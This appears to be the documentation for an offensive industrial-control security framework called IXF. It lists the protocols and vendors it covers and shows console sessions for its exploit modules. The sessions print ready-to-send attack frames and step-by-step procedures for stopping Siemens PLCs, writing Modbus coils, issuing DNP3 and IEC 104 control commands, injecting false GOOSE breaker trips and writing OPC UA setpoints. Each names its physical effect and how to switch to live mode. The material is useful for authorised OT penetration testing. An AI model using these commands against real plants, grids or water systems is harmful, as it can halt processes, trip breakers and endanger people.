Protocols & Vendors

IXF covers 50+ industrial protocols and 150+ OT/ICS vendors worldwide with scan, check, security assessment, and exploit modules. This document is the complete reference for protocol coverage, IXF module paths, and vendor coverage by region.

protocols Command — Full Output

ixf > protocols

  IXF Protocol Coverage (50 protocols)
  ═══════════════════════════════════════════════════════════════════════════
  #   Protocol                  Port(s)          Type         Region/Usage
  ─────────────────────────────────────────────────────────────────────────
  01  Modbus TCP                502/TCP          App          Global — PLCs, SCADA
  02  Modbus RTU                Serial/gateway   App          Serial devices
  03  Siemens S7comm            102/TCP          App          Siemens S7-200/300/400
  04  Siemens S7comm+           102/TCP          App          Siemens S7-1200/1500 TLS
  05  EtherNet/IP (CIP)         44818/TCP+UDP    App          Rockwell, Omron
  06  PROFINET DCP              L2 Broadcast     L2           Siemens, Beckhoff, WAGO
  07  DNP3                      20000/TCP+UDP    App          Power, water, oil & gas
  08  BACnet/IP                 47808/UDP        App          Building automation
  09  BACnet/MSTP               Serial/gateway   App          Building serial networks
  10  IEC 60870-5-104           2404/TCP         App          Power grid RTUs
  11  IEC 61850 MMS             102/TCP          App          Substations, relays
  12  IEC 61850 GOOSE           L2 Multicast     L2           Protection relay interlocks
  13  OPC UA                    4840/TCP         App          Cross-platform IIoT
  14  OPC DA (DCOM)             135/TCP          App          Legacy Windows SCADA
  15  OPC HDA                   135/TCP          App          Historical data access
  16  OPC A&E                   135/TCP          App          Alarms & events
  17  Omron FINS                9600/UDP         App          Omron CS/CJ/NJ series
  18  Unitronics PCOM           20256/TCP        App          Vision/Unistream PLCs
  19  Beckhoff ADS/AMS          48898/TCP        App          TwinCAT runtime
  20  MQTT                      1883/TCP         App          IIoT messaging brokers
  21  SNMP                      161/UDP          App          Network management
  22  PROFIBUS DP               1962/TCP(gw)     App          Siemens, Beckhoff
  23  PROFIBUS PA               1962/TCP(gw)     App          Process instrumentation
  24  HART                      5094/TCP (HART-IP) App        Field instruments
  25  CANopen                   4001/TCP(gw)     App          Machine control
  26  CC-Link                   61450/UDP        App          Mitsubishi networks
  27  CC-Link IE Field          61450/UDP        App          Mitsubishi advanced
  28  EtherCAT                  L2               L2           Beckhoff, Omron
  29  EtherNet/POWERLINK        L2               L2           B&R, Keba
  30  SERCOS III                8008/TCP         App          CNC/robotics motion
  31  IO-Link                   Serial/gateway   App          Smart sensors/actuators
  32  INTERBUS                  1962/TCP(gw)     App          Phoenix Contact
  33  ControlNet                44818/TCP        App          Rockwell legacy
  34  DeviceNet                 44818/TCP        App          Rockwell CAN-based
  35  PCCC                      44818/TCP        App          Allen-Bradley SLC-500
  36  FL-NET (OPCN-2)           7000/UDP         App          Fuji Electric/JTEKT
  37  CompoNet                  9600/TCP(gw)     App          Omron
  38  Yokogawa Vnet/IP          20111/TCP        App          Yokogawa CENTUM DCS
  39  FOUNDATION Fieldbus H1    1089/TCP (HSE)   App          Emerson, ABB
  40  FOUNDATION Fieldbus HSE   1089/TCP         App          FF high-speed network
  41  LonWorks/LonTalk          1628/UDP         App          Building automation
  42  KNX/EIB                   3671/UDP         App          Building automation
  43  CIP Safety                44818/TCP        App          Rockwell GuardLogix
  44  PROFIsafe                 502 layer        App          PROFIBUS safety layer
  45  FSoE (Fail-Safe over EtherCAT) L2         L2           Beckhoff TwinSAFE
  46  SECS/GEM (HSMS)           5000/TCP         App          Semiconductor fabs
  47  Serial-to-Ethernet        4001/TCP         App          Moxa NPort, Lantronix
  48  SNMP OT                   161/UDP          App          OT device management
  49  DNP3 Security Auth (SAv5) 20000/TCP        App          SAv5 implementation
  50  OPC UA Security           4840/TCP         App          SecurityMode audit
  ═══════════════════════════════════════════════════════════════════════════

Protocol Reference Table — All 50 Protocols

Top 20 Protocol Detailed Reference

1. Modbus TCP

Description: Modbus is the most widely deployed industrial communication protocol globally. Originally developed by Modicon in 1979 for serial communication over RS-232, Modbus TCP wraps the Modbus Application Protocol (MBAP) over standard TCP/IP. It is completely unauthenticated by design — any host on the network can read or write coils, registers, and discrete inputs.

History: The protocol predates OT cybersecurity concerns by decades. There is no authentication, encryption, or integrity protection in the base specification. Extensions such as Modbus Security (RFC 8605) exist but are rarely deployed.

Security Issues:

• No authentication — any client can read/write any register
• No encryption — all data transmitted in plaintext
• No integrity protection — replay and injection attacks are trivial
• Function code 8 (Diagnostics) can restart devices
• FC43 (MEI) leaks device identification (vendor, product, firmware)

IXF Modules:

Example Usage:

ixf > use exploits/protocols/modbus/modbus_unauthorized_coil_set
[*] Module loaded: Modbus TCP Unauthorized Coil Set
[*] CVE: N/A | CVSS: N/A | Impact: HIGH

ixf (Modbus TCP Unauthorized Coil Set) > show options

  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | Option           | Value    | Required | Description                                |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | target           |          | yes      | Target IP or hostname                      |
  | port             | 502      | no       | Modbus TCP port                            |
  | unit_id          | 1        | no       | Modbus unit/slave ID (1-247)               |
  | coil_addr        | 0        | no       | Starting coil address (0-based)            |
  | coil_value       | 1        | no       | Coil value to write (0=OFF, 1=ON)          |
  | count            | 1        | no       | Number of coils to write                   |
  | timeout          | 5        | no       | Connection timeout                         |
  | simulate         | True     | no       | Simulate mode                              |
  | destructive      | False    | no       | Enable live coil write                     |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+

ixf (Modbus TCP Unauthorized Coil Set) > set target 192.168.1.100
[*] target => 192.168.1.100

ixf (Modbus TCP Unauthorized Coil Set) > set coil_addr 0
[*] coil_addr => 0

ixf (Modbus TCP Unauthorized Coil Set) > set coil_value 1
[*] coil_value => 1

ixf (Modbus TCP Unauthorized Coil Set) > run

  [SIMULATE MODE — no packets sent]
  ═══════════════════════════════════════════════════════════════════════════
  Module:  Modbus TCP Unauthorized Coil Set
  Target:  192.168.1.100:502  Unit ID: 1

  Step 1: Connect TCP to 192.168.1.100:502
  Step 2: Send Write Single Coil (FC05) request:
          MBAP: 00 01 00 00 00 06 01
          PDU:  05 00 00 FF 00          (coil addr=0, value=0xFF00=ON)
          Full frame (hex): 00 01 00 00 00 06 01 05 00 00 FF 00
  Step 3: Verify echo response (FC05 echo)
  Step 4: Coil 0 at unit 1 set to ON

  [i] Physical consequence: Digital output DO0 driven HIGH
      Depending on the wired device, this may activate a relay, valve, motor, or alarm.
  [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
  [i] To run live: set simulate false + set destructive true

ixf (Modbus TCP Unauthorized Coil Set) > check
[*] Checking 192.168.1.100:502...
[+] REACHABLE — TCP 502 open
[+] MODBUS DEVICE DETECTED — FC4 response received, Transaction ID echoed
[+] Unit ID 1 responded. FC4 Input Register[0] = 0x0043

2. Siemens S7comm

Description: S7comm is Siemens' proprietary protocol for communication between TIA Portal, STEP 7, and S7-200/300/400/1500 PLCs over ISO-on-TCP (port 102). The protocol uses TPKT and COTP transport layers. S7comm (the original variant for S7-300/400) has no authentication or encryption. S7comm+ (for S7-1200/1500) adds TLS but uses a hardcoded global private key (CVE-2021-22681).

Security Issues:

• S7comm: no authentication, no encryption, full read/write access
• S7comm+: TLS with hardcoded key — decryptable by any attacker (CVE-2021-22681)
• CPU START/STOP commands require no credentials
• Program upload/download unauthenticated on older firmware
• FC43 (MEI equivalent) leaks firmware version and hardware info

IXF Modules:

Example Usage:

ixf > use exploits/protocols/s7comm/s7_cpu_stop
[*] Module loaded: Siemens S7comm CPU Stop Command
[*] CVE: N/A | CVSS: N/A | Impact: HIGH

ixf (Siemens S7comm CPU Stop Command) > show options

  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | Option           | Value    | Required | Description                                |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | target           |          | yes      | Target S7 PLC IP                           |
  | port             | 102      | no       | S7comm TCP port (TSAP)                     |
  | rack             | 0        | no       | PLC rack number                            |
  | slot             | 1        | no       | PLC slot number (1=S7-300, 2=S7-1200/1500) |
  | simulate         | True     | no       | Simulate mode                              |
  | destructive      | False    | no       | Enable live CPU STOP                       |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+

ixf (Siemens S7comm CPU Stop Command) > set target 192.168.1.55
[*] target => 192.168.1.55

ixf (Siemens S7comm CPU Stop Command) > run

  [SIMULATE MODE — no packets sent]
  ═══════════════════════════════════════════════════════════════════════════
  Module:  Siemens S7comm CPU Stop Command
  Target:  192.168.1.55:102  Rack: 0  Slot: 1

  Step 1: Establish ISO-on-TCP connection (TPKT + COTP CR)
  Step 2: Send S7comm Setup Communication PDU (negotiation)
  Step 3: Send S7comm CPU Control — STOP command:
          TPKT: 03 00 00 21
          COTP: 02 F0 80
          S7: 32 01 00 00 00 00 00 10 00 00 28 00 00 00 00 00
              00 FD 00 00 09 50 5F 50 52 4F 47 52 41 4D
  Step 4: S7 CPU transitions to STOP state; RUN LED turns RED
  Step 5: All controlled outputs go to safe-state (configurable)

  [i] Physical consequence: PLC program execution halts immediately.
      All digital outputs de-energize or hold last value depending on OB86 config.
      Process controlled by this PLC stops.
  [i] MITRE ATT&CK for ICS: T0881 (Service Stop), T0803 (Block Control Command)
  [i] To run live: set simulate false + set destructive true

3. EtherNet/IP (CIP)

Description: EtherNet/IP (Ethernet Industrial Protocol) carries the Common Industrial Protocol (CIP) over standard TCP/UDP. It is the dominant protocol in North American manufacturing, used by Rockwell Allen-Bradley ControlLogix, CompactLogix, and GuardLogix. EtherNet/IP uses port 44818 (TCP for explicit messages, UDP for implicit I/O). CIP allows tag enumeration, read/write of PLC tags by name, and firmware downloads.

Security Issues:

• CIP does not require authentication for tag reads/writes in basic mode
• The Identity Object (Class 0x01) is always readable — leaks model, vendor, firmware
• Unregistered sessions can still enumerate tags in some firmware versions
• Forward Open requests can establish implicit I/O connections without auth
• CIP Safety (GuardLogix) has OUNID spoofing risks

Example Usage:

ixf > use scanners/ics/enip_scanner
[*] Module loaded: EtherNet/IP CIP Scanner

ixf (EtherNet/IP CIP Scanner) > show options

  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | Option           | Value    | Required | Description                                |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+
  | target           |          | yes      | Target IP or CIDR range                    |
  | port             | 44818    | no       | EtherNet/IP TCP port                       |
  | udp_broadcast    | True     | no       | Use UDP broadcast for discovery            |
  | timeout          | 5        | no       | Connection timeout                         |
  | simulate         | True     | no       | Simulate mode                              |
  +──────────────────+──────────+──────────+────────────────────────────────────────────+

ixf (EtherNet/IP CIP Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24

ixf (EtherNet/IP CIP Scanner) > run

  [SIMULATE MODE — no packets sent]
  Module:  EtherNet/IP CIP Scanner
  Target:  192.168.1.0/24

  Step 1: Send EtherNet/IP List Identity request (UDP port 44818 broadcast)
  Step 2: Collect List Identity responses:
          - Vendor ID (0x01 = Rockwell Automation)
          - Product Type (0x0E = Programmable Controller)
          - Product Code, Revision, Serial Number
          - Product Name (e.g., "1756-L85E/A ControlLogix5585E")
  Step 3: For each responding device, enumerate CIP Class 1 (Identity Object)
  Step 4: Report vendor, product, firmware revision for each host

  [i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)

4. DNP3

Description: DNP3 (Distributed Network Protocol 3) is widely used in electric utilities (power grid RTUs, substations) and water/wastewater SCADA systems. Defined in IEEE 1815-2012. DNP3 has a DIRECT OPERATE (DO) function that can directly control field devices — breakers, valves, pumps — without a handshake. DNP3 Secure Authentication version 5 (SAv5) was added in 2012 but deployment remains limited.

Security Issues:

• DIRECT OPERATE commands require no authentication in base DNP3
• SELECT BEFORE OPERATE can be replayed without SAv5
• No encryption — all SCADA data (setpoints, alarms, events) in plaintext
• SAv5 implementation varies widely; many RTUs claim SAv5 support but have gaps
• Sequence number rollover can enable replay attacks

Example Usage:

ixf > use exploits/protocols/dnp3/dnp3_direct_operate
[*] Module loaded: DNP3 DIRECT OPERATE Binary Output
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL

ixf (DNP3 DIRECT OPERATE Binary Output) > show options

  +──────────────────+──────────────+──────────+──────────────────────────────────────────+
  | Option           | Value        | Required | Description                              |
  +──────────────────+──────────────+──────────+──────────────────────────────────────────+
  | target           |              | yes      | Target DNP3 outstation IP                |
  | port             | 20000        | no       | DNP3 TCP port (default: 20000)           |
  | master_addr      | 1            | no       | DNP3 master address                      |
  | outstation_addr  | 10           | no       | DNP3 outstation address                  |
  | obj_group        | 12           | no       | CROB group (12=Binary Output Cmd Block)  |
  | obj_var          | 1            | no       | CROB variation                           |
  | point_index      | 0            | no       | Binary output point index                |
  | trip_close       | LATCH_ON     | no       | Operation type: LATCH_ON/LATCH_OFF/PULSE |
  | simulate         | True         | no       | Simulate mode                            |
  | destructive      | False        | no       | Enable live command                      |
  +──────────────────+──────────────+──────────+──────────────────────────────────────────+

ixf (DNP3 DIRECT OPERATE Binary Output) > set target 10.0.0.101
[*] target => 10.0.0.101

ixf (DNP3 DIRECT OPERATE Binary Output) > set outstation_addr 10
[*] outstation_addr => 10

ixf (DNP3 DIRECT OPERATE Binary Output) > run

  [SIMULATE MODE — no packets sent]
  Module:  DNP3 DIRECT OPERATE Binary Output
  Target:  10.0.0.101:20000
  Master:  1  Outstation: 10  Point: 0  Op: LATCH_ON

  Step 1: Connect TCP to 10.0.0.101:20000
  Step 2: Build DNP3 Application Layer DIRECT OPERATE:
          Link Frame: 05 64 XX XX 0A 00 01 00
          App Header: C0 03 (Confirm=1, FC=03 DIRECT_OPERATE)
          Obj Header: 0C 01 28 01 00 00 00
          CROB:       03 01 00 00 00 00 01 00 00 00 00 00
                      (LATCH_ON, count=1, on_time=100ms, off_time=100ms)
  Step 3: Send to outstation
  Step 4: Binary output point 0 activates (relay closes, circuit energizes)

  [i] Physical consequence: Binary output 0 drives HIGH.
      In power grid: trips or closes a circuit breaker.
      In water: activates a pump or opens a valve.
  [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
  [i] MITRE ATT&CK for ICS: T0803 (Block Control Command)

5. BACnet/IP

Description: BACnet (Building Automation and Control network) is the dominant protocol in building automation: HVAC, lighting, fire safety, access control, and energy management. BACnet/IP runs over UDP port 47808. The Who-Is/I-Am service is a broadcast service for device discovery. BACnet has no authentication in the base standard. BACnet/SC (Secure Connect) adds TLS but adoption is recent.

Example Usage:

ixf > use scanners/ics/bacnet_scanner
[*] Module loaded: BACnet/IP Device Scanner

ixf (BACnet/IP Device Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24

ixf (BACnet/IP Device Scanner) > run

  [SIMULATE MODE — no packets sent]
  Module:  BACnet/IP Device Scanner
  Target:  192.168.1.0/24

  Step 1: Send BACnet/IP Who-Is broadcast (UDP 47808)
          BVLC Header: 81 0B 00 0C
          NPDU: 01 20 FF FF 00 FF
          APDU: 10 08 (Unconfirmed Who-Is, all devices)
  Step 2: Collect I-Am responses:
          - Device Instance ID
          - Max APDU length
          - Segmentation support
          - Vendor ID
  Step 3: For each device, send ReadProperty to Device Object:
          - Object Name (device name / building zone)
          - Vendor Name
          - Model Name
          - Application Software Version
          - Protocol Version
  Step 4: Build device inventory report

  [i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)
  [i] BACnet devices found on typical building networks: thermostats, AHUs,
      lighting controllers, fire panels, elevators, energy meters

6. IEC 60870-5-104

Description: IEC 104 (IEC 60870-5-104) is the TCP/IP variant of IEC 60870-5-101, used for power grid SCADA: control centers communicating with remote terminal units (RTUs) in substations and distribution networks. The protocol carries ASDU (Application Service Data Units) that can send control commands (ASDU type 45/46/47/48 — single/double point commands, step commands) to field devices.

Example Usage:

ixf > use exploits/protocols/iec104/iec104_command_injection
[*] Module loaded: IEC 60870-5-104 ASDU Command Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL

ixf (IEC 60870-5-104 ASDU Command Injection) > set target 10.10.0.20
[*] target => 10.10.0.20

ixf (IEC 60870-5-104 ASDU Command Injection) > run

  [SIMULATE MODE — no packets sent]
  Module:  IEC 60870-5-104 ASDU Command Injection
  Target:  10.10.0.20:2404

  Step 1: Establish TCP connection to 10.10.0.20:2404
  Step 2: Send STARTDT (Start Data Transfer) U-frame
          Frame: 68 04 07 00 00 00
  Step 3: Wait for STARTDT_CON acknowledgment
  Step 4: Send I-frame with ASDU type 46 (Double Point Command):
          APCI: 68 13 [Send Sequence Number] [Recv Seq Number]
          ASDU: 2E 01 07 00 01 00 02 00 03
                TypeID=0x2E (46), SQ=0, COT=6 (Activation),
                CA=1, IOA=3 (Object Address 3), DCS=02 (ON)
  Step 5: RTU executes command: double-point output 3 set to ON

  [i] Physical: Open/close breaker, trip protection relay, activate SCADA actuator
  [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)

7. IEC 61850 / GOOSE

Description: IEC 61850 is the standard for substation communication and automation. It covers MMS (Manufacturing Message Specification) over TCP/102 for SCADA-to-IED communication, and GOOSE (Generic Object Oriented Substation Event) for peer-to-peer L2 multicast between protection relays. GOOSE is used for fast protection interlocking (under 4ms). GOOSE has no authentication by default — any attacker on the substation LAN can inject false GOOSE trip messages. IEC 62351-6 adds HMAC-SHA256 authentication to GOOSE.

Example Usage:

ixf > use exploits/protocols/iec61850/goose_injection
[*] Module loaded: IEC 61850 GOOSE False Trip Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL

ixf (IEC 61850 GOOSE False Trip Injection) > show options

  +──────────────────+───────────────────────+──────────+──────────────────────────────+
  | Option           | Value                 | Required | Description                  |
  +──────────────────+───────────────────────+──────────+──────────────────────────────+
  | interface        | eth0                  | yes      | Network interface (L2)       |
  | src_mac          | de:ad:be:ef:00:01     | no       | Source MAC (spoofed relay)   |
  | dst_mac          | 01:0c:cd:01:00:01     | no       | GOOSE multicast destination  |
  | appid            | 0x0001                | no       | Application ID               |
  | gocb_ref         | IED1LD0/LLN0$GO$GCB1 | no       | GOOSE Control Block Ref      |
  | dataset          | IED1LD0/LLN0$DS1      | no       | Dataset reference            |
  | stNum            | 1                     | no       | Status number                |
  | sqNum            | 0                     | no       | Sequence number              |
  | trip_value       | True                  | no       | Trip value (True=TRIP)       |
  | simulate         | True                  | no       | Simulate mode                |
  | destructive      | False                 | no       | Enable live L2 injection     |
  +──────────────────+───────────────────────+──────────+──────────────────────────────+

ixf (IEC 61850 GOOSE False Trip Injection) > run

  [SIMULATE MODE — no packets sent]
  Module:  IEC 61850 GOOSE False Trip Injection
  Interface: eth0

  Step 1: Craft GOOSE PDU:
          EtherType: 0x88B8 (GOOSE)
          APPID:     0x0001
          APDU:      GOOSE PDU with stNum=1, sqNum=0, allData=[TRUE]
          Destination: 01:0c:cd:01:00:01 (GOOSE multicast MAC)
  Step 2: Send L2 frame via raw socket on eth0
  Step 3: All listening IEDs subscribed to this GoCB reference
          will interpret the GOOSE as a protection trip signal
  Step 4: Subscribed IEDs execute protection function (trip breaker)

  [i] Physical: False GOOSE trip causes protection relay to trip breaker
      immediately (<4ms). This is indistinguishable from a real protection event.
  [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
  [i] Remediation: Deploy IEC 62351-6 HMAC authentication on all GOOSE publishers

8. OPC UA

Description: OPC UA (OPC Unified Architecture) is the modern, cross-platform successor to OPC DA/DCOM. It runs over TCP port 4840 and optionally over HTTPS (4843). OPC UA supports multiple security modes: None (no security), Sign (signed messages), and SignAndEncrypt. Many deployments leave SecurityMode set to None for compatibility, allowing anonymous access to the entire tag namespace.

Example Usage:

ixf > use exploits/protocols/opcua/opcua_anonymous_write
[*] Module loaded: OPC UA Anonymous Write (SecurityMode=None)

ixf (OPC UA Anonymous Write) > set target 192.168.1.200
[*] target => 192.168.1.200

ixf (OPC UA Anonymous Write) > run

  [SIMULATE MODE — no packets sent]
  Module:  OPC UA Anonymous Write
  Target:  192.168.1.200:4840

  Step 1: Send OPC UA Hello message (HEL)
  Step 2: Send OPC UA OpenSecureChannel with SecurityMode=None
  Step 3: GetEndpoints — list all server endpoints including None-security
  Step 4: CreateSession with Anonymous identity token
  Step 5: Browse root namespace — list all nodes and tag names
  Step 6: Write to target node: NodeId ns=2;i=1003 (example: Tank Level Setpoint)
          WriteValue: Value=0.0 (drain setpoint)

  [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message), T0802

9. MQTT

Description: MQTT (Message Queuing Telemetry Transport) is widely used in IIoT for lightweight publish/subscribe messaging. Industrial IoT gateways, edge devices, and cloud connectors use MQTT brokers (Mosquitto, EMQX, HiveMQ) on port 1883 (plaintext) or 8883 (TLS). Many deployments run without authentication (allow_anonymous true in mosquitto.conf), exposing all topic data to any subscriber on the network.

Example Usage:

ixf > use exploits/protocols/mqtt/mqtt_anonymous_subscribe
[*] Module loaded: MQTT Anonymous Subscribe All Topics

ixf (MQTT Anonymous Subscribe All Topics) > set target 10.0.0.5
[*] target => 10.0.0.5

ixf (MQTT Anonymous Subscribe All Topics) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect MQTT to 10.0.0.5:1883 with no credentials
  Step 2: Subscribe to wildcard topic '#' (all topics)
  Step 3: Collect all published messages:
          - Process values (temperature, pressure, flow)
          - Alarm states
          - Device configurations
          - Engineering data
  [i] In live mode: would expose all industrial telemetry to attacker
  [i] MITRE ATT&CK for ICS: T0802 (Automated Collection)

10. PROFINET DCP

Description: PROFINET DCP (Discovery and Configuration Protocol) is the Layer 2 protocol used by Siemens, Beckhoff, WAGO, and other PROFINET devices for automatic discovery and configuration. DCP runs over raw Ethernet (EtherType 0x8892) via broadcast. Malformed DCP Identify Requests can cause some devices to crash or reset (CVE-2019-13946).

Example Usage:

ixf > use exploits/protocols/profinet/profinet_dcp_flood
[*] Module loaded: PROFINET DCP Identify Flood

ixf (PROFINET DCP Identify Flood) > set interface eth0
[*] interface => eth0

ixf (PROFINET DCP Identify Flood) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Craft PROFINET DCP Identify All request
          EtherType: 0x8892
          FrameID: 0xFEFE (DCP Identify All)
          ServiceID: 0x05 (Identify)
          ServiceType: 0x00 (Request)
  Step 2: Send broadcast to FF:FF:FF:FF:FF:FF
  Step 3: Collect all DCP Identify Response frames:
          - Name of Station (station name)
          - IP Address assigned
          - Device Vendor (from IANA)
          - Device Role (controller/device/supervisor)
          - Device Options (capabilities)

11. OPC DA (DCOM)

Description: OPC DA (Data Access) is the original Windows-based OPC standard, using Microsoft COM/DCOM for inter-process communication. It runs through the Windows RPC endpoint mapper (port 135) and dynamically assigned high ports. OPC DA servers are common in legacy Wonderware, Intellution (GE iFIX), and Kepware SCADA installations. DCOM configuration is notoriously complex and often left permissive.

Example Usage:

ixf > use exploits/protocols/opc_da/opc_da_tag_enum
[*] Module loaded: OPC DA Tag Enumeration via DCOM

ixf (OPC DA Tag Enumeration via DCOM) > set target 192.168.1.10
[*] target => 192.168.1.10

ixf (OPC DA Tag Enumeration via DCOM) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Enumerate DCOM objects via RPC EndpointMapper (port 135)
  Step 2: Find OPC DA server ProgID: 'RSLinx.Application' or 'Kepware.KepServerEX.V6'
  Step 3: CreateInstance OPC Server object
  Step 4: IOPCServer::BrowseOPCItemIDs — enumerate all tag names and branches
  Step 5: IOPCServer::ValidateItems — validate accessible items
  Step 6: Report all tag names, data types, access rights

12. Omron FINS

Description: FINS (Factory Interface Network Service) is Omron's proprietary network protocol for CS/CJ/CP/NX/NJ series PLCs and CX-Programmer communication. FINS UDP runs on port 9600. FINS has no authentication — any host that can reach UDP/9600 can send FINS commands. The Memory Area Read command allows reading any PLC memory area (DM, I/O, HR, TIM, CNT, EM, EM extended).

Example Usage:

ixf > use exploits/protocols/fins/fins_memory_read
[*] Module loaded: Omron FINS Memory Area Read

ixf (Omron FINS Memory Area Read) > set target 192.168.1.150
[*] target => 192.168.1.150

ixf (Omron FINS Memory Area Read) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Send FINS/UDP command (Memory Area Read):
          ICF: 80  RSV: 00  GCT: 02  DNA: 00  DA1: 00  DA2: 00
          SNA: 00  SA1: 08  SA2: 00
          MRC: 01  SRC: 01  (Memory Area Read command)
          Area: 82 (DM = Data Memory area)
          Addr: 00 00  Bit: 00  Count: 00 0A (10 words)
  Step 2: Receive FINS response with DM0-DM9 word values
  Step 3: Report PLC memory contents
  [i] DM area typically contains setpoints, counters, configuration data

13. Beckhoff ADS/AMS

Description: Beckhoff ADS (Automation Device Specification) / AMS (Automation Message Specification) is Beckhoff's proprietary protocol for TwinCAT PLC communication. ADS runs over TCP port 48898. With a valid AMS Net ID (typically matching the device IP), an attacker can read/write any PLC variable by name or index group, load/unload PLC programs, and stop/start the TwinCAT runtime.

Example Usage:

ixf > use exploits/protocols/ads/ads_variable_write
[*] Module loaded: Beckhoff ADS Variable Write

ixf (Beckhoff ADS Variable Write) > set target 192.168.1.80
[*] target => 192.168.1.80

ixf (Beckhoff ADS Variable Write) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect TCP to 192.168.1.80:48898
  Step 2: Build AMS/TCP header: Net ID 192.168.1.80.1.1, Port 851 (PLC runtime)
  Step 3: ADS Write command: Index Group=0x4020 (data area), Index Offset=var_offset
  Step 4: Data: new variable value bytes
  Step 5: ADS Response: Error Code 0x0000 (success)
  [i] Impact: Arbitrary PLC variable write without authentication

14. Unitronics PCOM

Description: Unitronics PCOM is the proprietary protocol for Unitronics Vision and Unistream PLCs. Port 20256. PCOM allows full PLC memory read/write without authentication. Unitronics PLCs were famously attacked in the CISA/FBI 2023 advisory targeting water utility PLCs (Aliquippa Municipal Water Authority), where attackers accessed internet-exposed PLCs via default credentials and PCOM.

Example Usage:

ixf > use scanners/ics/pcom_scanner
[*] Module loaded: Unitronics PCOM Scanner

ixf (Unitronics PCOM Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24

ixf (Unitronics PCOM Scanner) > run

  [SIMULATE MODE — no packets sent]
  Step 1: TCP connect to each host on port 20256
  Step 2: Send PCOM Info Request frame:
          /OPLC_UNIT_ID CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \r
  Step 3: Parse response: model, OS version, application info, PLC ID
  Step 4: Report all Unitronics PLCs found with version info
  [i] Affected devices often include: Vision 700, Vision 1040, UniStream 7

15. KNX/EIB

Description: KNX/EIB is the dominant building automation protocol in Europe for residential and commercial buildings. KNXnet/IP (UDP 3671) allows control of lighting, blinds, heating, ventilation, and security systems from IP networks. Group address writes can directly control any KNX device on the bus without authentication.

Example Usage:

ixf > use exploits/protocols/knx/knx_group_write
[*] Module loaded: KNX Group Address Write

ixf (KNX Group Address Write) > set target 192.168.1.250
[*] target => 192.168.1.250

ixf (KNX Group Address Write) > set group_address "1/0/1"
[*] group_address => 1/0/1

ixf (KNX Group Address Write) > run

  [SIMULATE MODE — no packets sent]
  Step 1: Send KNXnet/IP Tunneling Request to 192.168.1.250:3671
  Step 2: CEMI L_DATA.REQ with:
          Priority: Normal
          Destination (group): 1/0/1 (typical: main lighting switch)
          APDU: GroupValueWrite (0x0080) data=0x01 (ON)
  Step 3: KNX bus devices subscribed to group 1/0/1 receive command
  Step 4: Lighting actuator activates

16. HART-IP

Description: HART (Highway Addressable Remote Transducer) is the most widely deployed field instrument protocol (>80 million devices). HART-IP (port 5094 TCP) carries HART commands over Ethernet for remote instrument access. HART devices expose: process variable, device identification, configuration parameters, and diagnostic information.

17. CANopen

Description: CANopen (CiA DS-301) is widely used in embedded machine control, robotics, and autonomous vehicles. IXF attacks CANopen via gateway TCP bridges. NMT (Network Management) commands can stop/reset any node on the CANopen network.

18. CC-Link IE Field

Description: CC-Link IE Field is Mitsubishi's high-speed Gigabit Ethernet fieldbus for MELSEC iQ-R, iQ-F, and Q/L series PLCs. Used throughout Asian manufacturing. The protocol has minimal authentication.

19. SECS/GEM (HSMS)

Description: SECS/GEM (SEMI Equipment Communications Standard / Generic Equipment Model) is the standard for semiconductor fab equipment communication. HSMS (High Speed Message Services) carries SECS over TCP port 5000. S1F1/S1F2 (Are You There / On-Line Data) leaks complete equipment identification including model, software revision, and supported streams/functions.

20. EtherCAT

Description: EtherCAT (Ethernet for Control Automation Technology) is Beckhoff's high-speed fieldbus for motion control (sub-microsecond cycle times). EtherCAT runs at Layer 2 (EtherType 0x88A4) and requires physical access to the network. An attacker on the EtherCAT segment can inject or corrupt frames.

vendors Command — Full Output

ixf > vendors

  IXF Vendor Coverage — 150 Vendors
  ═══════════════════════════════════════════════════════════════════════════
  Vendor                               Region      CVE Modules
  ─────────────────────────────────────────────────────────────────────────
  schneider_electric                   EU/Global       39
  rockwell_automation                  Americas        38
  siemens                              EU/Global       27
  delta_electronics                    Asia            11
  omron                                Asia            12
  abb                                  EU/Global       22
  honeywell                            Americas        20
  ge_vernova                           Americas        18
  emerson                              Americas        16
  aveva_osisoft                        Americas        14
  advantech                            Asia            15
  inductive_automation                 Americas         5
  tridium                              Americas         5
  yokogawa                             Asia             5
  beckhoff                             EU               5
  phoenix_contact                      EU               6
  ge_multilin                          Americas         4
  weintek                              Asia             2
  delta_controls                       Americas         1
  fatek                                Asia             2
  mitsubishi_electric                  Asia             3
  fanuc                                Asia             2
  yaskawa                              Asia             2
  keyence                              Asia             2
  panasonic                            Asia             1
  fuji_electric                        Asia             2
  jtekt                                Asia             2
  hiwin                                Asia             1
  vigor                                Asia             1
  ls_electric                          Asia             1
  hollysys                             Asia             2
  supcon                               Asia             1
  inovance                             Asia             1
  invt                                 Asia             1
  chint                                Asia             1
  kinco                                Asia             1
  delixi                               Asia             1
  step_electric                        Asia             1
  wago                                 EU               2
  pilz                                 EU               1
  b_and_r_automation                   EU               2
  festo                                EU               1
  endress_hauser                       EU               2
  pepperl_fuchs                        EU               1
  sick_ag                              EU               2
  hms_networks                         EU               2
  belden_hirschmann                    EU               2
